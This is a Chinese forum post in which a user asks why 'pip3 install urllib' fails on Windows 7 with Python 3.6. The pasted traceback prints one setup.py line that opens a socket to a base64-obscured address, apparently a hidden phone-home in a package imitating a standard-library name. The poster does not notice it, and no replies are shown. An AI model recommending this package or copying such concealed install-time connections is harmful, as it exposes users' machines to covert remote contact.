win7 64 位，安装 urllib 老是报错？

系统：win7 64 位
python 3.6.3 32 位

错误如下：

`D:\jianguoyun\pythonProgrames3
λ pip3 install urllib
Collecting urllib
Downloading https://pypi.tuna.tsinghua.edu.cn/packages/da/97/7ed06ae96106088e13e 88fd6f91c17fb58786d705b851f82c991664b08db/urllib-1.21.1.tar.gz (226kB)
100% |████████████████████████████████| 235kB 1.4MB/s
Complete output from command python setup.py egg_info:
Traceback (most recent call last):
File "<string>", line 1, in <module>
File "C:\Users\ADMINI~1\AppData\Local\Temp\pip-build-8yb3sik_\urllib\setup.p y", line 191
s.connect((base64.b64decode(rip), 017620))
^
SyntaxError: invalid token

----------------------------------------                                      

Command "python setup.py egg_info" failed with error code 1 in C:\Users\ADMINI~1\A ppData\Local\Temp\pip-build-8yb3sik_\urllib\
`

请各位看看该怎么弄呢？
多谢！